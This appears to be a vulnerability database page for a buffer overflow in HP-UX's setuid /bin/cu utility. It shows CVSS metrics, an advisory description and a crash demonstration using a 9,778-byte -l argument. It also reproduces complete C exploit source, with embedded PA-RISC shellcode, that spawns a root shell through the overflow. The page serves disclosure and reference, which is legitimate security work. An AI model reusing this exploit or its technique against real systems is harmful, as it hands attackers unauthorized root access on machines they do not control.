Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 20373
Publication date : 2000-11-01 23h00 +00:00
Author : zorgon
EDB Verified : Yes
source: https://www.securityfocus.com/bid/1886/info
cu is a unix utility that is used for communication between two hosts (usually over phone lines). It is typically isntalled setuid root so that it can access communications hardware when executed by a regular user.
The version of cu that ships with HP-UX is vulnerable to a buffer overflow attack that may result in an escalation of privileges if exploited properly. The argument to the -l option (the line) is handled in an unsafe manner and if the length of it exceeds 9777 bytes, it will corrupt vital stack variables. This may result in shellcode provided by the user being executed with the privileges of the process (euid 0).
$ ls -la `which cu`
-r-sr-xr-x 1 bin 40960 9 avr 1998 /bin/cu
Using '-l' with a long option string:
$ cu -l `perl -e 'printf "A" x 9777'`
La connexion a chou : Requested device/system name not known
$ cu -l `perl -e 'printf "A" x 9778'`
Memory fault
Exploit Database EDB-ID : 245
Publication date : 2001-01-12 23h00 +00:00
Author : zorgon
EDB Verified : Yes
/*
* Copyright (c) 2001 Zorgon
* All Rights Reserved
* The copyright notice above does not evidence any
* actual or intended publication of such source code.
*
* HP-UX /bin/cu exploit.
* Tested on HP-UX 11.00
*
[email protected] (http://www.nightbird.free.fr)
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define LEN 9778
#define HPPA_NOP 0x0b390280
#define RET 0x7f7eb010
#define OFFSET 1200 /* it works for me */
u_char hppa_shellcode[] = /* K2 <
[email protected]> shellcode */
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff";
int
main(int argc , char **argv){
char buffer[LEN+8];
int i;
long retaddr = RET;
int offset = OFFSET;
if(argc>1) offset = atoi(argv[1]);
for (i=0;i<LEN;i+=4)
*(long *)&buffer[i] = retaddr + offset;
for (i=0;i<(LEN-strlen(hppa_shellcode)-50);i++)
*(buffer+i) = HPPA_NOP;
memcpy(buffer+i,hppa_shellcode,strlen(hppa_shellcode));
fprintf(stderr, "HP-UX 11.00 /bin/cu exploit\n");
fprintf(stderr, "Copyright (c) 2001 Zorgon\n");
fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", retaddr + offset, offset, strlen(buffer));
execl("/bin/cu","cu","-l",buffer,0);
}
// milw0rm.com [2001-01-13]
Products Mentioned
Configuraton 0
Hp>>Hp-ux >> Version 9.00
Hp>>Hp-ux >> Version 9.01
Hp>>Hp-ux >> Version 9.04
Hp>>Hp-ux >> Version 9.05
Hp>>Hp-ux >> Version 9.06
Hp>>Hp-ux >> Version 9.07
Hp>>Hp-ux >> Version 9.08
Hp>>Hp-ux >> Version 9.09
Hp>>Hp-ux >> Version 9.10
Hp>>Hp-ux >> Version 10.20
Hp>>Hp-ux >> Version 11.00
References